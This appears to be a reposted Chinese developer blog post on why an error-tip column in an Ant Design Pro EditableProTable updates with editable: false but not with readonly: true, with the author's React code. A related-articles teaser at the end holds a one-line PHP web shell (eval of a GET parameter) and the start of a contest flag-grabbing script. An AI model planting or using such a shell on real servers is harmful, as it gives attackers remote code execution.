一个小的可编辑表格问题引起的思考

11.21工作中遇到的问题

预期:当每行获取红包金额的时候若出现错误,右侧当行会出现提示

结果:获取红包金额出现错误,右侧对应行并没有出现错误提示

我发现,当我们设置readonly的时候,其实render函数依旧是触发了的,右侧图片中的log被成功打印出来了,可以验证,所以可以粗略说明,records被更改,触发了table,以及当前行的渲染,可为什么提示的数据依旧不变

接下来,我用一个简单的demo也复现了这个问题
在这里插入图片描述
在这里插入图片描述

将readonly: true替换成editable: false,居然就成功了,这与我之前对于readonly和editable的认知有了太大的差距

在这里插入图片描述

扩展:readonly和editable的区别

查找dom元素,发现当我设置editable:false的时候,包裹tips的dom标签是ant-table-cel,一个表格元素,但是当设置readonly: true的时候,包裹tips的dom标签是一个表单元素,通过样式class:ant-form-item-control-input-content,可以猜测目前的包裹tips的dom多半是一个受控的input表单

在这里插入图片描述

继而,通过阅读pro component中editabe的源码,找到了关键点,对于受控模式下的组件,需要触发onchange,而在代码中触发表单的onchange的条件,由props.controlled控制,这也是为啥我设置readonly:true的时候,没有看见tips更新,即使表格的datasource更新了

在这里插入图片描述

在这里插入图片描述

所以得到另一种解决方法,

在这里插入图片描述

在这里插入图片描述

总结

readonly设置为true,编辑表格的form会收集这个字段的值;但是会变成一个受控的不可编辑的input表单项,若去要更新表单,需要controlled设置为true,这样每次value更新的时候都会重置表单了

若设置 editable: false, form不会收集这个字段值,但是依旧是个table-cell

问题Code如下

import { EditableProTable } from "@ant-design/pro-components";
import { useState } from "react";
import { Columns } from "./columns";const rowKey = 'productId';
const EditTable = ()=>{const [data, setData] = useState([{productId: '1',},{productId: '2',},]);const [editableKeys, setEditableRowKeys] = useState(() => []);const [failTips, setFailTips] = useState<any>([]);const changeFailInfo = (curFailTips: any) =>{const uniqueFailTips = [...new Set([...failTips, ...curFailTips].map(item => JSON.stringify(item)))].map(item => JSON.parse(item));setFailTips(uniqueFailTips)const failList = uniqueFailTips.map((item) => item.productId)// 将有错误提示的当前行的failTips字段赋值const temp = JSON.parse(JSON.stringify(data));failList.forEach((item)=>{if(data.find((item2:any)=>item2.productId === item)){temp.find((item2:any)=>item2.productId === item).failTips = uniqueFailTips.find(item2=>item2.productId === item).failDesc}})setData(temp);}return (<><EditableProTablerowKey={rowKey}columns={Columns(changeFailInfo,failTips)}scroll={{ x: 1000 }}borderedvalue={data}recordCreatorProps={false}editable={{type: 'multiple',editableKeys: data.map((item) => item[rowKey]),onChange: setEditableRowKeys,}}tableAlertRender={false}/></>);
}export default EditTable
export const Columns = (changeFailInfo: any, failTips: any) => [{title: 'productId',key: 'productId',dataIndex: 'productId',field: 'productId',headerStyle: { fontSize: 14 },colSize: 0,width: 100,readonly: true, },{title: '期望',key: 'Money',dataIndex: 'Money',editor: 'input-editor',width: 100,editable: true,colSize: 1.5,headerStyle: { fontSize: 14, autoWrapText: true },fieldProps: (form, { entity, rowKey }) => {return {onBlur: async (e) => {const { productId } = entity;const value = e.target.value || 0;if (value == 0) return;changeFailInfo([{ productId, failDesc: 'tips' }]);},};},},{title: '提示',key: 'failTips',dataIndex: 'failTips',editable: false,//readonly: true,align: 'center',fixed: 'right',width: 200,hideInTable: !failTips.length,renderText: (_: any, record: any) => {console.log(record, 'yts_change');return <span style={{ color: 'red' }}>{record.failTips}</span>;},},
];

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61635.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决 vxe-table v3.9 + iview 或者 view-design 中使用 Select 后无法选中的问题

官网文档&#xff1a;https://vxetable.cn 在开发 vue 项目中&#xff0c;使用 vxe-table 时&#xff0c;当同时配合 iview 或者 view-design 组件库使用时&#xff0c;发现一个问题&#xff0c;就是在单元格中渲染 Select 时&#xff0c;会导致下拉选项无法被选中&#xff0c…

「Mac玩转仓颉内测版27」基础篇7 - 字符串类型详解

本篇将介绍 Cangjie 中的字符串类型&#xff0c;包括字符串的定义、字面量形式、插值表达、常用操作及应用场景&#xff0c;帮助开发者熟练掌握字符串的使用。 关键词 字符串类型定义字符串字面量插值字符串字符串拼接常用操作 一、字符串类型概述 在 Cangjie 中&#xff0c;…

一种简单高效的RTSP流在线检测方法,不需要再过渡拉流就可以获取设备状态以及对应音视频通道与编码格式

平台如何检测一路RTSP流是否在线&#xff1f; 在之前的流媒体平台方案中&#xff0c;我们都是通过定时RTSP拉流的方式&#xff0c;走一个完整的RTSP流程&#xff1a;包括OPTIONS、DESCRIBE、SETUP、PLAY、RTP收流&#xff0c;这种方式去取流&#xff0c;然后取到流之后进行流解…

Excel中超链接打开文件时报错 “打开此文件的应用程序没有注册“ 的一个解决办法

需要在Excel中快速打开.bas后缀的文件&#xff0c;所以添加了文件超链接&#xff0c;但是在打开文件的时候报错 “打开此文件的应用程序没有注册” 找到文件直接双击是可以正常打开的&#xff0c;说明是哪里有问题&#xff0c;导致Excel不能找到可以打开文件的程序&#xff0c…

高效集成:金蝶盘亏单数据对接管易云

金蝶盘亏单数据集成到管易云的技术实现 在企业日常运营中&#xff0c;数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例&#xff1a;如何将金蝶云星空中的盘亏单数据无缝集成到管易云的其他出库模块。 为了实现这一目标&#xff0…

神经网络问题之一:梯度消失(Vanishing Gradient)

梯度消失&#xff08;Vanishing Gradient&#xff09;问题是深度神经网络训练中的一个关键问题&#xff0c;它主要发生在反向传播过程中&#xff0c;导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞&#xff0c;严重影响网络的训练效果和性能。 图1 在深度神经网络中容易出现…

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法&#xff0c;适用于多输入多输出&#xff08;MIMO&#xff09;系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整&#xff0c;同时通过解耦策略减少变量之间的相互影响&#xff0c;提高控制…

数据库类型介绍

1. 关系型数据库&#xff08;Relational Database, RDBMS&#xff09;&#xff1a; • 定义&#xff1a;基于关系模型&#xff08;即表格&#xff09;存储数据&#xff0c;数据之间通过外键等关系相互关联。 • 特点&#xff1a;支持复杂的SQL查询&#xff0c;数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp&#xff08;网络时间协议时间戳&#xff09;&#xff1a;这是一个64位的时间戳&#xff0c;记录着发送SR的NTP时间戳&#xff0c;用于同步不同源之间的时间。RTP Timestamp&#xff1…

《让照片或视频中的人对口型读文稿的APP》

《让照片或视频中的人对口型读文稿的APP》 剪映 功能特点&#xff1a; 操作简单&#xff0c;容易上手。它有丰富的音频功能&#xff0c;你可以导入自己想要的文稿音频。在视频编辑方面&#xff0c;能精确剪辑视频片段&#xff0c;调整播放速度&#xff0c;使人物的口型和音频更…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下安装软件包的方式 认识yum 查找软件包 安装软件 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 批量化注释 vim的简单配置 Linux编译器 - gcc/g gcc/g的作用 gcc/g语…

IDEA如何设置编码格式,字符编码,全局编码和项目编码格式

前言 大家好&#xff0c;我是小徐啊。我们在开发Java项目&#xff08;Springboot&#xff09;的时候&#xff0c;一般都是会设置好对应的编码格式的。如果设置的不恰当&#xff0c;容易造成乱码的问题&#xff0c;这是要避免的。今天&#xff0c;小徐就来介绍下我们如何在IDEA…

【Redis】实现点赞功能

一、实现笔记点赞 使用redis实现点赞功能&#xff0c;对于一个笔记来说&#xff0c;不同用户只能是点赞和没点赞&#xff0c;点赞过的笔记再点击就应该取消点赞&#xff0c;所以实际上根据需求&#xff0c;我们只需要将点赞的数据存到对应的笔记里&#xff0c;查看对应的笔记相…

InstantStyle容器构建指南

一、介绍 InstantStyle 是一个由小红书的 InstantX 团队开发并推出的图像风格迁移框架&#xff0c;它专注于解决图像生成中的风格化问题&#xff0c;旨在生成与参考图像风格一致的图像。以下是关于 InstantStyle 的详细介绍&#xff1a; 1.技术特点 风格与内容的有效分离 &a…

Redisson学习教程(B站诸葛)

弱智级别 package org.example.controller;public class IndexController {Autowiredprivate Redisson redisson;Autowiredprivate StringRedisTemplate stringRedisTemplate;RequestMapping("/deduct_storck")public String deductStock() {String lockKey "…

PHP 实现页面跳转的三种方式及详细解析

目录 前言1. PHP 跳转2. HTML 跳转3. JavaScript 跳转 前言 在 PHP 中实现页面跳转有多种方式&#xff0c;常见的方式包括 PHP 自带的 header() 函数、HTML 元素 <meta> 标签和 JavaScript 的 window.location 三者的差异表格如下&#xff1a; 跳转方式优点缺点适用场…

深入理解 PyTorch 的数据加载

深入理解 PyTorch 的数据加载 在进行深度学习时&#xff0c;数据的加载和预处理是至关重要的步骤。PyTorch 提供了 torch.utils.data.Dataset 和 torch.utils.data.DataLoader 这两个强大的工具来简化这一过程。 1. torch.utils.data.Dataset Dataset 是 PyTorch 中用于定义…

.NET 9 全面上线:开启开发新纪元

微软最新发布的.NET 9为开发者带来了翻天覆地的变化&#xff0c;这次升级不仅仅是一次普通的版本迭代&#xff0c;更像是为开发者打开了一扇通往未来的大门。 性能革新&#xff1a;AOT编译的突破性进展 原生提前编译&#xff08;AOT&#xff09;是此次更新最耀眼的明珠。过去&…

蓝桥杯每日真题 - 第19天

题目&#xff1a;&#xff08;费用报销&#xff09; 题目描述&#xff08;13届 C&C B组F题&#xff09; 解题思路&#xff1a; 1. 问题抽象 本问题可以看作一个限制条件较多的优化问题&#xff0c;核心是如何在金额和时间约束下选择最优方案&#xff1a; 动态规划是理想…